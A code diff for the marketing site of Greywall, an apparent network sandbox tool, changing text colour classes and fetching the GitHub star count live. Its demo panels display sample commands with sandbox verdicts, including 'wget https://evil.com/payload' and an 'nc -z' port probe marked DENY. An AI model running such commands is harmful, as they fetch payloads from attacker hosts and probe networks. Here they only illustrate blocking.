fix: text not visible

app/page.tsx

@@ -1,5 +1,3 @@
-'use client'
-
 import { PlatformProvider } from '@/components/platform-toggle'
 import { Nav } from '@/components/nav'
 import { Hero } from '@/components/hero'

components/control.tsx

@@ -98,19 +98,19 @@ export function Control() {
                 </div>
                 <div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
                   <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
-                    <span className="text-greyhaven-offwhite truncate">curl https://api.anthropic.com</span>
+                    <span className="text-foreground truncate">curl https://api.anthropic.com</span>
                     <span className="text-emerald-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
                   </div>
                   <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
-                    <span className="text-greyhaven-offwhite truncate">npm install lodash</span>
+                    <span className="text-foreground truncate">npm install lodash</span>
                     <span className="text-emerald-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
                   </div>
                   <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
-                    <span className="text-greyhaven-offwhite truncate">wget https://evil.com/payload</span>
+                    <span className="text-foreground truncate">wget https://evil.com/payload</span>
                     <span className="text-red-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
                   </div>
                   <div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
-                    <span className="text-greyhaven-offwhite truncate">nc -z 10.0.0.1 22</span>
+                    <span className="text-foreground truncate">nc -z 10.0.0.1 22</span>
                     <span className="text-red-300 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
                   </div>
                 </div>
@@ -137,19 +137,19 @@ export function Control() {
                 </div>
                 <div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
                   <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
-                    <span className="text-greyhaven-offwhite truncate">api.anthropic.com</span>
+                    <span className="text-foreground truncate">api.anthropic.com</span>
                     <span className="text-emerald-300 text-[10px] shrink-0">VIA PROXY</span>
                   </div>
                   <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
-                    <span className="text-greyhaven-offwhite truncate">registry.npmjs.org</span>
+                    <span className="text-foreground truncate">registry.npmjs.org</span>
                     <span className="text-emerald-300 text-[10px] shrink-0">VIA PROXY</span>
                   </div>
                   <div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
-                    <span className="text-greyhaven-offwhite truncate">evil.com (direct)</span>
+                    <span className="text-foreground truncate">evil.com (direct)</span>
                     <span className="text-red-300 text-[10px] shrink-0">KERNEL DENY</span>
                   </div>
                   <div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
-                    <span className="text-greyhaven-offwhite truncate">analytics.vendor.io</span>
+                    <span className="text-foreground truncate">analytics.vendor.io</span>
                     <span className="text-red-300 text-[10px] shrink-0">PROXY DENY</span>
                   </div>
                 </div>
@@ -185,11 +185,11 @@ export function Control() {
               </div>
               <div className="mt-3 flex items-center gap-3 min-w-0">
                 <span className="text-emerald-600 text-[10px] w-14 shrink-0">ALLOWED</span>
-                <span className="text-greyhaven-offwhite truncate">git commit -m &quot;fix: types&quot;</span>
+                <span className="text-foreground truncate">git commit -m &quot;fix: types&quot;</span>
               </div>
               <div className="flex items-center gap-3 min-w-0">
                 <span className="text-emerald-600 text-[10px] w-14 shrink-0">ALLOWED</span>
-                <span className="text-greyhaven-offwhite truncate">npm install lodash</span>
+                <span className="text-foreground truncate">npm install lodash</span>
               </div>
             </div>
             <p className="text-xs text-muted-foreground font-serif mt-4">

components/hero.tsx

@@ -1,15 +1,28 @@
-'use client'
 import { BetaSignup } from './beta-signup'
 
-const badges = [
+async function getStarCount(): Promise<string> {
-  { href: 'https://github.com/GreyhavenHQ/greywall', label: 'GitHub', value: '138 stars' },
+  try {
-  { href: 'https://github.com/GreyhavenHQ/greywall/blob/main/LICENSE', label: 'License', value: 'Apache-2.0' },
+    const res = await fetch('https://api.github.com/repos/GreyhavenHQ/greywall', {
-  { href: 'https://github.com/GreyhavenHQ/greywall/releases', label: 'Release', value: 'v0.3.1' },
+      next: { revalidate: 3600 },
-  { href: 'https://github.com/GreyhavenHQ/greywall', label: 'Go', value: 'v1.25' },
+      headers: { Accept: 'application/vnd.github+json' },
-  { href: 'https://www.producthunt.com/products/greywall?launch=greywall', label: 'Product Hunt', value: 'Greywall' },
+    })
-]
+    if (!res.ok) return '138 stars'
+    const data = await res.json()
+    return typeof data.stargazers_count === 'number' ? `${data.stargazers_count} stars` : '138 stars'
+  } catch {
+    return '138 stars'
+  }
+}
 
-export function Hero() {
+export async function Hero() {
+  const stars = await getStarCount()
+  const badges = [
+    { href: 'https://github.com/GreyhavenHQ/greywall', label: 'GitHub', value: stars },
+    { href: 'https://github.com/GreyhavenHQ/greywall/blob/main/LICENSE', label: 'License', value: 'Apache-2.0' },
+    { href: 'https://github.com/GreyhavenHQ/greywall/releases', label: 'Release', value: 'v0.3.1' },
+    { href: 'https://github.com/GreyhavenHQ/greywall', label: 'Go', value: 'v1.25' },
+    { href: 'https://www.producthunt.com/products/greywall?launch=greywall', label: 'Product Hunt', value: 'Greywall' },
+  ]
   return (
     <section className="relative w-full px-4 pt-8 pb-6 sm:px-6 sm:pt-10 sm:pb-8">
       <div className="relative z-10 mx-auto max-w-5xl text-center">